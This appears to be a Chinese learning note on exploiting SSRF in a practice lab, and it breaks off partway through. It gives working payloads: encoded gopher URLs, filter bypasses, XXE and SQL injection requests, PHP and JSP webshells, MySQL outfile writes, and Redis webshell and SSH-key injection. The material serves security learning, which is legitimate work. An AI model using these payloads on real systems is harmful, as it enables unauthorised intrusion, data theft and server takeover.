本文最后更新于 2025-05-29T12:29:13+08:00
学习网站
**橙子科技:**https://www.bilibili.com/video/BV1iQ4y1u7Pt/?spm_id_from=333.1387.homepage.video_card.click&vd_source=525a280615063349bad5e187f6bfeec3
**靶场:**http://121.43.53.23:9091/
前置知识
NAT
什么是NAT
NAT(Network Address Translation):网络地址转换,是一种将私有(保留)地址转化为合法 IP 地址的转换技术,通过将一个外部 IP 地址和端口映射到更大的内部 IP 地址来转换 IP 地址
就是可以将内网 IP 转换成公网 IP,也可以进行端口映射
初识SSRF
什么是SSRF
SSRF(Server - Side Request Forgery),也就是服务器端请求伪造。简单来说,这是一种安全漏洞,攻击者可以利用这个漏洞让服务器去访问攻击者指定的其他网络资源。就好像攻击者找到了服务器的一个 “小跟班”,能让这个 “小跟班”(服务器)按照自己的意愿去获取别的地方的信息。
本质上是属于信息泄露漏洞
举例理解:
想象服务器是一个有严格门禁的公司大楼,正常情况下,它只会和经过授权的合作伙伴(正常的网络资源)交流。但是因为有 SSRF 漏洞,攻击者就像一个狡猾的骗子,通过某种手段(漏洞),让大楼里的工作人员(服务器)按照自己的指示,去访问一些未经授权的地方(其他网络资源)。
SSRF的成因
大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制
可能出现SSRF的地方
- 从指定URL地址获取网页文本内容
- 加载指定地址的图片,下载
- 百度识图,给出一串URL就能识别出图片
SSRF攻击方式
借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息

SSRF漏洞利用
利用过程
- 通过服务器A(SSRF服务器)访问A所在内网的其他服务器。
- 由SSRF服务器发送http伪协议连接给B服务器
- B服务器回复到SSRF服务器
- SSRF服务器收到回复后会显示内容
利用案例
- 利用file协议读取本地文件
- 对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序
- 对内网web应用进行指纹识别,识别企业内部的资产信息
- 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
SSRF学习
以用SSRF打内网的流程深入学习
伪协议
伪协议 |
作用 |
file:// |
从文件系统中获取文件内容,如file:///etc/passwd |
dict:// |
字典服务协议,访问字典资源,如 dict:///ip:6739/info: |
ftp:// |
可用于网络端口扫描(效率低一点) |
sftp:// |
SSH文件传输协议或安全文件传输协议 |
ldap:// |
轻量级目录访问协议 |
tftp:// |
简单文件传输协议 |
gopher:// |
分布式文档传递服务 |
SSRF信息收集–file
伪协议–查找内网存活主机
**作用:**从文件系统中获取文件内容
格式:file://[文件路径]
举例:
查找内网存活主机
如下页面,可以使用file://
伪协议读取任意文件

可以成功读取到文件,就可以怀疑这个页面存在SSRF漏洞
然后第一个要考虑的就是这台主机所处的内网网段是多少,可以通过使用file://
伪协议读取文件进行查看当前这台存在SSRF漏洞的主机的 IP 获取

可以看到有两个 IP,这表明当前这个服务器存在两个网卡,一个网卡在172.251.251.2
这个网段,另一个网卡在172.250.250.2
这个网段
然后我们还可以继续获取ARP
缓存表,寻找内网其他主机

只读到了三个网站,但是这不代表是所有的主机,只是当前已经使用ARP
协议缓存过的
可以使用ARP
协议扫描内网,好处是不关心对方服务器开没开防火墙或开了什么策略,只要是工作在 IP 协议的一个服务器,都可以使用ARP
协议扫描出来
**什么是ARP
缓存表:**ARP 缓存表是主机用于缓存 IP 地址与 MAC 地址映射关系的表,只有与其进行通信才会有这个ARP
表
所以可以通过SSRF漏洞去访问内网里的所有 IP,如果主机存活就会被记录在ARP
缓存表中,然后使用file://
伪协议去读取/proc/net/arp
就可以知道有哪些主机是存活的
如:通过SSRF漏洞去访问http://172.250.250.6/
这个网段,当前的SSRF服务器就会去尝试访问这个网站,与其进行通信,但是在与其进行通信之前,这个SSRF服务器会先发送一个 ARP 请求给要访问的网站,然后目标网站不管有没有开防火墙都会有一个简单的应答

然后再此读取ARP
缓存表,就会发现多出了刚才访问的网站

要人工去一个个访问网站太麻烦,可以使用BurpSuite
去访问所有地址
首先使用bp进行一次抓包

将抓到的请求包发送到

然后在payload中选择类型为数值,定义好范围是1到254,步长为1

接着就可以开始攻击了

最后再去读取ARP
缓存表得到扫描的结果

会发现有的不存活的主机也在里面,可以根据HW address
进行区分,如果这部分不全是00的,就是存活的,如果全是00,就是不存活,为0的意思就是向其发送的 ARP 请求,但是目标主机并没有应答,所以该主机是没有存活的
SSRF信息收集–dict
伪协议–查找内网主机开放端口
**作用:**字典服务协议,访问字典资源,可用于扫描端口、获取内网信息、爆破密码等
格式:dict://[服务器IP]:[端口]/[字典数据库名称:关键字]
举例:
1
| dict://dict.org:2628/moby-thesaurus:happy
|
- **
dict.org
**是字典服务器的地址
- **
2628
**是端口号
- **
moby-thesaurus
**是字典数据库的名称
- **
happy
**是要查询的关键字
可以使用dict://
伪协议查找内网主机开放端口,与其相似的是ftp://
伪协议,但是ftp://
伪协议效率较低,所以最好使用dict://
伪协议
查找内网主机开放端口
如下,仍使用bp抓包,添加端口号

发送到Intruder
中

然后是要确定这次的payload由哪些部分组成
- 首先是 IP 地址,在前面已经使用
file://
伪协议获取了存活的主机的 IP 地址,就不用考虑有哪些主机是存活的
- 第二个就是端口,这次就是测试有哪些端口开放
先使用ftp://
伪协议进行扫描1到14的IP的80端口


开始攻击后首先就会发现所需的时间很长,所以不建议使用,可以打开列中的接收到响应和响应完成两个选项判断是否开启了80端口,响应长的都是开启了的

接下来使用dict://
伪协议扫描1到14主机,并且检测端口,这里就要选择攻击类型为集束炸弹

第一个payload和前面一样是1到14

第二个payload选择简单列表,并添加一些端口

经过上面的设置就可以扫描1到14这些主机的我们设置好要扫描的端口
开始攻击,会发现比使用ftp://
伪协议快得多

可以通过长度列的数值辨别该主机的端口是否开放,那些数值大的就是开放了的,下面这些就是没有开放,可以看到数值有明显的分界线

获取网站信息
后面加入关键字就可以获取网站的信息了,如info

SSRF信息收集–http
伪协议–目录扫描
**作用:**常规 URL 形式,允许通过 HTTP 1.0 的GET方法,以只读访问文件或资源,在CTF中通常用于远程包含
举例:
在SSRF中就是利用http伪协议进行目录扫描
目录扫描
接下来对172.250.250.4
的80
端口进行目录扫描,查看有哪些页面
首先通过SSRF服务器,使用http伪协议访问这个网站

依旧使用bp抓包,并放到Intruder
中

构造出子页面

这里做目录扫描就是将index
替换成其他的常见的名词
payload选择简单列表,这里要加载字典进去,字典可以在kali中获取,文件路径如下
1
| /usr/share/wordlists/dirb/common.txt
|


然后开始攻击,依旧是根据长度判断目录是否存在

可以访问看看

如果不确定后缀名,可以再添加一个payload

SSRF利用–gopher伪协议学习
gopher://
伪协议可以理解为http://
伪协议的前身
利用范围:GET提交
、POST提交
、Redis
、Fastcgi
、SQL
为什么使用gopher
伪协议:
- 当需要POST提交时,可以利用
gopher
伪协议进行POST提交
gopher
伪协议还可以对MySQL数据库发起一个未授权认证的攻击时,提交TCP的数据流
格式:URL:gopger://<host>:<port>/<gopher-path>
web也需要加端口号80,gopher
协议默认端口为70
gopher
请求不转发第一个字符
开启两个kali交互页面,用其中一个向本地的7777端口发送gopher
伪协议请求
第一个页面监听7777端口

另一个页面发送请求

会发现发送的是abcd
,但接收到的只有bcd

gopher
请求不转发第一个字符
所以在提交的时候要在前面加上一个填充位_
,这个填充位是没有意义的,只是为了让对方受到的数据完整


可以看到接收的数据完整了
简单实验
在SSRF服务器访问如下页面

这个代码是会将GET或POST提交的值回显出来
首先使用GET提交

然后是POST提交,但是使用http
伪协议不能进行POST提交,就算改成POST提交,但只是提交给SSRF这个服务器,SSRF服务器是无法再POST提交给内网主机的

这就要使用gopher
伪协议了,可以使用gopher
伪协议提交给SSRF服务器,SSRF服务器接收到提交的内容后,会进行解析,然后可以根据gopher
伪协议里定义好的GET或POST方法去决定使用什么方法将数据发送给内网主机
GET提交
以下是正常使用GET请求的请求包

需要保留头部信息
- 路径:
GET /name.php?name=dazhuang HTTP/1.1
- 目标IP地址:
Host: 172.250.250.4
构造POC
1 2 3
| GET /name.php?name=dazhuang HTTP/1.1 Host: 172.250.250.4
|
注意:POC的最后是有一个换行符的,换行的上面是头部信息,下面是POST请求内容,还要注意添加端口号(80
)和填充位(_
)
最终的POC
1
| gopher://172.250.250.4:80/_GET%20/name.php%3fname=dazhuang%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
|
- **
%20
**是空格
- **
%3f
**是问号?
- **
%0d%0A
**是换行符
进行提交

也可以用bp抓包,把构造好的后面的内容放到bp里进行两次URL编码(发送请求时,浏览器会进行一次U人L编码,在将数据发送给SSRF服务器时SSRF服务器会进行一次URL解码,然后SSRF服务器发送给内网主机时内网主机会进行第二次URL解码)
第一次编码

第二次编码

最终结果

注意点
- 问号需要进行URL编码为
%3f
- 回车换行要URL编码为
%0d%0a
- 在HTTP包的最后要加上
%0d%0a
,代表消息结束
- URL编码改为大写,冒号注意英文冒号
- 如果使用bp发包需要进行两次URL编码
- GET提交最后需要增加一个换行符
POST提交

需要保留头部信息:
- POST
- Host:
- Content-Type:
- Content-Length:
构造POC
1 2 3 4 5 6
| POST /name.php HTTP/1.1 Host: 172.250.250.4 Content-Type: application/x-www-form-urlencoded Content-Length: 13
name=jianjian
|
注意:Content-Length
的值要和实际提交的长度一致,否则你定义的长度多少,最终读取到的就是多少,如:实际是13,定义为11,最终只会读name=jianji
,还有就是上传的文件类型也要一致
可以像前面GET一样,进行两次URL编码,也可以直接使用bp的编码工具进行两次编码

最终POC
1
| gopher://172.250.250.4:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%33%25%30%61%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%61%25%36%39%25%36%31%25%36%65%25%36%61%25%36%39%25%36%31%25%36%65
|

SSRF绕过
SSRF之回环地址绕过
如下页面要求访问本地的flag.php
文件,但会发现127.0.0.1
被过滤了

其他进制绕过
当127.0.0.1
被限制时,可以将其进行变形显示,使用其他进制进行绕过
1 2 3 4 5 6
| 127.0.0.1 点分十进制 01111111000000000000000000000001 数据包中实际是32位bit二进制,没有点 0b01111111000000000000000000000001 二进制 017700000001 八进制 0x7F000001 十六进制 2130706433 十进制(连续)
|
实际应用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| http:
http:
http:
http:
http:
http: http:
http:
http:
|

SSRF之302重定向绕过
原理
攻击者访问SSRF服务器(如http://home.ctf.com:7777
),SSRF服务器解析访问公网web服务器(有公网IP的服务器,可以对域名解析的web服务器),然后这台服务器返回重定向302到127.0.0.1给SSRF服务器,这可以绕过我们想要提交的受限制的地址,然后SSRF服务器访问本地127.0.0.1,并且把结果返回给攻击者

构建302重定向代码
1 2 3
| <?php header('Location: http://127.0.0.1/flag.php'); ?>
|
在有公网IP的VPS上创建一个文件写入上面的代码

然后使用命令监听7777端口

在靶场随便访问一个内网地址

这里无法回显,因为禁用了访问内网IP
可以通过访问刚才的VPS的代码文件,从而返回重定向302到127.0.0.1给SSRF服务器,然后SSRF服务器访问本地127.0.0.1,并且把结果返回给我们

SSRF之DNS重绑定绕过
针对SSRF漏洞的防御
- 解析目标URL,获取其Host
- 解析Host,获取Host指向的IP地址
- 检查IP地址是否为内网地址
- 请求URL
- 如果有跳转,拿出跳转URL,执行1
可以有效限制以下内容
- 直接访问内网IP
- 302跳转
- xip.io/xip.name及短链接变换等URL变形
- 畸形URL
iframe
攻击
- IP进制转换
但是无法防御DNS重绑定攻击
SSRF防御模式

- 在用户浏览器输入URL,客户端获取输入的URL,从该URL里提取Host(IP地址,可能是IP地址,也可能是域名)
- 如果提取到的Host是域名,对该Host进行DNS解析,从而获取到解析的IP地址
- 判断获取到的IP地址是合法的还是非法的(如是否是私有IP等),如果是非法的,直接返回内容
- 如果检测到IP地址是合法的,就会执行服务端请求URL(curl的阶段发包),这里再进行一次DNS解析
两次DNS解析
- **第一次DNS解析:**是对URL的Host进行DNS解析
- **第二次DNS解析:**使用curl发包时候进行DNS解析
漏洞是在第二次DNS解析时形成的,可以利用两次DNS解析的时间差进行绕过
攻击原理
利用服务器两次解析同一域名的短暂间隙,更换域名背后的IP,达到突破同源策略或过WAF进行SSRF的目的
第一次DNS解析时检测URL的,第二次DNS解析是真正去访问,在第一次使其获取的是一个假的IP地址,在第二次时获取到一个回环地址,这就可以绕过WAF的限制,进行SSRF
缓存是与DNS中的机制TTL有关:域名和IP绑定关系的Cache存活的最长时间
TTL最理想的设置是0,即在第一次解析后,立马换位我们想要访问的内网IP,有些公共DNS服务器还是会把记录进行缓存

可以使TTL值为0的网站:https://lock.cmpxchg8b.com/rebinder.html
下面俩的私网和公网IP可以调换

1
| http://deb74166.7f000001.rbndr.us/flag.php
|

SSRF进行其他漏洞利用
使用SSRF进行命令执行
前提是已经通过前面学习的三个伪协议成功查找到内网存活的主机、开放的端口、并且通过目录扫描出一个存在命令执行漏洞的页面,如下获取的shell.php
存在命令执行漏洞

使用http
伪协议进行GET提交
这个页面可以通过提交GET参数cmd
进行命令执行
1
| http://172.250.250.4/shell.php?cmd=ls
|

使用gopher
伪协议进行GET提交
1 2 3
| GET /shell.php?cmd=ls HTTP/1.1 Host: 172.250.250.4
|
首先进行抓包

放入重放器进行两次URL编码


发送请求

使用gopher
伪协议进行POST提交
使用http
伪协议访问漏洞网站

可以使用bp抓包获取参数

进而构造POC
1 2 3 4 5 6
| POST / HTTP/1.1 Host: 172.250.250.5 Content-Type: application/x-www-form-urlencoded Content-Length: 12
ip=127.0.0.1
|


这里返回的结果要在源码中查看
然后就可以构造执行命令的POC,要注意修改长度
1 2 3 4 5 6
| POST / HTTP/1.1 Host: 172.250.250.5 Content-Type: application/x-www-form-urlencoded Content-Length: 15
ip=127.0.0.1
|

1 2 3 4 5 6
| POST / HTTP/1.1 Host: 172.250.250.5 Content-Type: application/x-www-form-urlencoded Content-Length: 21
ip=127.0.0.1
|

使用SSRF进行XXE
审计源代码

查看源代码,核心代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| function doLogin(){ var username = $("#username").val(); var password = $("#password").val(); if(username == "" || password == ""){ alert("用户名或密码不为空"); return; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({ type: "POST", url: "doLogin.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ swal("登录失败", "", "error"); }else if(code == "1"){ swal("登录成功", "", "success"); }else{ swal("系统错误", "", "success"); } }, }); }
|
从代码中可以发现,在doLogin()
这个函数中,我们提交的用户名和密码会被拼接进如下代码中
1
| var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
|
这是一个典型的XML语言构造方式,然后是进行的POST提交,提交给doLogin.php
,还要注意格式类型是xml的
构造payload
先构造一个简单的,提交用户名和密码都是admin
1 2 3 4 5 6
| POST /doLogin.php HTTP/1.1 Host: 172.250.250.6 Content-Type: application/xml;charset=utf-8 Content-Length: 66
<user><username>admin</username><password>passwd</password></user>
|
然后用bp抓包修改,gopher伪协议访问抓包


放入重放器,将刚才的payload放入进行两次url编码


得到的响应也是xml格式的
1
| <result><code>0</code><msg>admin</msg></result>
|
看源代码中的这部分

这里响应的code为0,说明登录失败了,然后会显示msg是用户名为admin,注意这里会回显用户名的,可以用来回显文件内容
实验结束,然后就可以构造一个进行任意文件读取的payload了
1 2 3 4 5 6
| POST /doLogin.php HTTP/1.1 Host: 172.250.250.6 Content-Type: application/xml;charset=utf-8 Content-Length: 131
<!DOCTYPE root [<!ENTITY benben SYSTEM "file:///etc/passwd">]><user><username>&benben;</username><password>passwd</password></user>
|
- 这里就是定义了一个实体
benben
,引入了外部实体SYSTEM
,这个外部实体指向的文件路径是file:///etc/passwd
,就相当于现在benben
代表的是/etc/passwd
这个文件
- 然后在填写用户名的地方填写
&benben;
引用benben
实体,因为刚才实验可知会返回用户名的内容,所以这里会回显/etc/passwd
的文件内容,实现了任意文件读取


使用SSRF进行SQL注入

SQL注入语句
1 2 3 4 5 6 7 8 9 10 11 12
| /?id=1'%20group%20by%203--%20 # 查询回显位 /?id=-1'%20union%20select%201,2,3--%20
/?id=-1'%20union%20select%201,2,database()--%20 # 查询表名 /?id=-1'%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--%20
/?id=-1'%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%20and%20table_schema=database()--%20 # 查询数据 /?id=-1'%20union%20select%201,2,group_concat(username,'-',password)%20from%20users--%20
|
注意
直接填写空格会报错
1
| http://172.250.250.11/Less-1/?id=1' --+
|

可以使用+
替换
1
| http://172.250.250.11/Less-1/?id=1'+--+
|

可以使用%20
替换
1
| http://172.250.250.11/Less-1/?id=1'%20--%20
|

也可以两个混合使用
- 用
HackBar
进行提交要把所有的空格进行两次URL编码为%25%20
,或者直接使用+
只进行一次URL编码会报错
1
| http://172.250.250.11/Less-1/?id=1'%20group%20by%203--%20
|

要进行两次URL编码
1
| http://172.250.250.11/Less-1/?id=1'%2520group%2520by%25203--%2520
|

或者直接全部使用+
1
| http://172.250.250.11/Less-1/?id=1'+group+by+3--+
|

要用POST提交进行SQL注入
1
| http://172.250.250.11/Less-11/
|

查看源代码,可以看要用POST提交三个参数

SSRF里POST提交就要使用gopher
伪协议
可以进行一次抓包,构造出POC
1 2 3 4 5 6
| gopher://172.250.250.11:80/_POST /Less-11/index.php HTTP/1.1 Host: 172.250.250.11 Content-Type: application/x-www-form-urlencoded Content-Length: 53
uname=-1' union select 1,2 #&passwd=123&submit=Submit
|

进行两次URL编码

使用SSRF进行文件上传
multipart/form-data
是在 HTTP 协议里用于表单数据提交的一种编码方式,这个数据体由多个部分组成,每个部分被一个固定边界值分隔
简单的说就是一个分隔符,将POST多个提交内容使用分界线拼接起来
如下是进行一次文件上传的抓包

构造payload
1
| http://172.250.250.14/Pass-01/index.php
|

查看源代码,寻找之后要构造的payload的部分

首先定义分界线,这是必需的,其中的boundary
的值可以随便定义,这里使用${Boundary}
作为分界线
1
| Content-Type: multipart/form-data; boundary=${Boundary}
|
使用分界线,要在定义好的分界线前要加上两个减号
根据源码进行编写提交的内容,首先是上传的文件与文件内容
1 2 3 4
| Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: image/jpeg
<?php phpinfo();?>
|
然后使用分界线分隔开
接着继续根据源码编写另一个POST提交的内容submit,这部分可省略
1 2 3 4
| Content-Disposition: form-data; name="submit" Content-Type: text/plain;charset=UTF-8
上传
|
最后再使用一次分界线,并且最后加上俩减号
完整的payload为
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Content-Type: multipart/form-data; boundary=${Boundary}
--${Boundary} Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: image/jpeg
<?php phpinfo();?>
--${Boundary} Content-Disposition: form-data; name="submit" Content-Type: text/plain;charset=UTF-8
上传 --${Boundary}
|
构造出完整的gopher
提交数据
可以通过抓包获取数据进行构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /Pass-01/index.php HTTP/1.1 Host: 172.250.250.14 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryy0nfsJQPiWB4Y9qs Content-Length: 306
------WebKitFormBoundarysogmETe5AIRzminC Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: image/jpeg
<?php phpinfo();?> ------WebKitFormBoundarysogmETe5AIRzminC Content-Disposition: form-data; name="submit"
上传 ------WebKitFormBoundarysogmETe5AIRzminC--
|
使用gopher
伪协议进行上传

进行两次URL编码后提交,会得到文件路径(上面的那个payload不知道为什么传之后得不到文件路径,这直接用的视频里的)

最后可以使用http
伪协议查看上传的文件
1
| http://172.250.250.14/upload/phpinfo.php
|

使用SSRF进行文件包含

直接使用伪协议包含读取文件
可以直接提交一个参数就能读取文件
1
| http://172.250.250.14/include.php?file=file:
|

如果使用data://
这种伪协议,含有空格的要使用URL编码,或者使用+
1
| http://172.250.250.14/include.php?file=data://text/plain,<?php%20system('id');?>
|

如果是POST提交的参数,就和前面的漏洞利用一样使用gopher
伪协议
SSRF之对MySQL进行未授权操作
使用SSRF对MySQL进行未授权查询
这里的未授权是MySQL的数据库没有设置密码,并且允许用户登录数据库
如何与MySQL进行数据通讯
1 2
| mysql -uroot 进入MySQL show databases; 查看数据库
|
通过SSRF查看数据库security
下表user
的内容
抓取本地MySQL数据库通讯内容构造payload
工具:tcpdump
、Wireshark
也可以直接只用Wireshark
抓取数据包并进行十六进制展示,再编程URL编码进行提交
- 开始抓包,监听 lo 回环地址接口网卡的3306端口,-w写入文件
mysql.pcapng
生成在根目录下
1
| tcpdump -i lo port 3306 -w mysql.pcapng
|

1
| mysql -h127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"
|

然后就可以停止监听,并且可以在根目录看到mysql.pcapng
文件

把文件复制到本地,用Wireshark打开,找到三次TCP握手,右键=》跟踪流=》TCP流

会得到以下数据流,红色的是自己主机发给MySQL服务器的数据流,蓝色的是接收的

构造POC的只需要红色部分的,所以要进行过滤

还要改成原始数据

最后得到的就是要使用的构造POC的内容

对以上数据还要进行一些修改,要去掉换行符,还要将ASCII码转化为URL编码
ASCII码转化为URL编码的脚本如下
1 2 3 4 5 6 7 8 9
| import sys
def results(s): a=[s[i:i+2] for i in range(0,len(s),2)] return "curl gopher://172.250.250.1:3306/_%"+"%".join(a)
if __name__=="__main__": s=sys.argv[1] print(results(s))
|


将得到的payload在SSRF服务器提交,就可以获得数据库查询结果

使用工具构造payload
拉取工具
1
| git clone https://github.com/tarunkant/Gopherus
|
进行攻击
1 2 3 4
| cd Gopherus python2.7 gopherus.py
select * from security.users
|

把127.0.0.1
改成服务器地址172.250.250.1

使用SSRF对MySQL进行未授权文件写入
查看写入权限


查看源码,会发现下面secure_file_priv
这里没有值,就有写入权限

使用工具构造payload
使用into outfile
生成文件cmd.php
并写入一句话
1 2 3 4
| select "<?php system($_GET['cmd']);?>" into outfile '/var/www/html/cmd.php';
# 如果是宝塔搭建的 select "<?php system($_GET['cmd']);?>" into outfile '/www/wwwroot/cmd.php';
|


执行命令
1
| http://172.250.250.1/cmd.php?cmd=ls
|

使用SSRF对tomcat文件写入
tomcat漏洞:CVE-2017-12615
这个漏洞的作用是任意文件上传,绕过验证直接在目标靶机进行文件上传
默认端口是8080
要构造的POC
头部信息

然后构造一句话木马填充到头部信息后

将以上两部分合并后进行URL编码提交
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| PUT /cmd.jsp/ HTTP/1.1 Host: 172.250.250.7:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 460
<% String command = request.getParameter("cmd"); if(command != null) { java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } else { out.print("format: xxx.jsp?cmd=Command"); } %>
|

先提交gopher
伪协议进行抓包
加入POC,进行两次URL编码


访问看看

可以看到成功了,可以执行命令
1
| http://172.250.250.7:8080/cmd.jsp?cmd=ls
|

使用SSRF对Redis漏洞未授权操作
使用SSRF对Redis未授权Webshell
写入
如果对方服务器上有一个网站,可以使用Redis未授权,向对方网站的根目录下写入一个一句话木马,从而拿到对方的Webshell
利用逻辑
通过备份dbfilename
这个文件,将备份文件放在/var/www/html/
这个路径下,并设置文件名为phpinfo.php
,同时备份的数据写入<?php phpinfo();?>
,最后保存退出
1
| config set dir /var//html/
|
1
| config set dbfilename phpinfo.php
|
1
| set payload "<?php phpinfo();?>"
|
本地抓包构造
抓包
1
| tcpdump -i br-容器ID tcp and port 6379 -w redis.pcapng
|

用Redis-cli登录到主机内
1
| redis-cli -h 172.250.250.9
|
设置路径到网站的根目录
1
| config set dir /var//html/
|
设置Web路径
1
| config set dir /var//html/
|
设置shell文件名
1
| config set dbfilename info.php
|
像数据库插入payload
1
| set payload "<?php phpinfo();?>"
|
保存Webshell
最后退出

现在就拿到了完整的数据包,可以在根目录查看

将抓到的包用Wireshark打开

筛选器筛选出红色的部分

将数据复制出来,这是第一个命令的参数

构造payload时上面三行可删去

最后加上quit,payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| *4 $6 CONFIG $3 SET $3 dir $14 /var/www/html *4 $6 config $3 set $10 dbfilename $8 info.php *3 $3 set $7 payload $19 <?php phpinfo(); ?> *1 $4 save *1 $4 quit
|
首先使用dict
伪协议检查网站的Redis是否在运行
如果是未授权的就会弹出一堆信息

如果是要授权的就会弹出认证失败的信息
构造gopher
伪协议的payload,首先将payload的换行符换成%0d%0a
,问号换成%3f

1
| *4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0ainfo.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$19%0d%0a<%3fphp phpinfo(); %3f>%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit
|
1
| gopher://172.250.250.9:6379/_*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0ainfo.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$19%0d%0a<%3fphp phpinfo(); %3f>%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit
|
提交

然后就可以使用http
伪协议访问

使用工具构造
1
| python2 gopherus.py --exploit redis
|

有两个选项,第一个是反弹shell,第二个是PHP命令交互,这里选择第二个
网站根目录是否是/var/www/html
,是就直接回车

然后是构造的payload,可以直接回车用默认的

会生成一个shell.php
页面,GET方法提交cmd
参数执行命令
1
| gopher://172.250.250.9:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
|

执行命令
1
| http://172.250.250.9/shell.php?cmd=id
|

使用SSRF对Redis未授权SSH公钥写入
如果对方主机开启了SSH,可以尝试写入SSH公钥文件,用自己的私钥去连接,从而进行SSH登录
在kali上生成私钥对
会生成在root
目录下的.ssh
中,默认敲回车


第一个是私钥,第二个是公钥

对之前的payload进行修改,要修改文件路径、文件名、文件内容,注意在构造payload时在前后都加上两个换行符,使其之后与其他内容进行区分开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| *4 $6 CONFIG $3 SET $3 dir $11 /root/.ssh/ *4 $6 config $3 set $10 dbfilename $15 authorized_keys *3 $3 set $7 payload $568
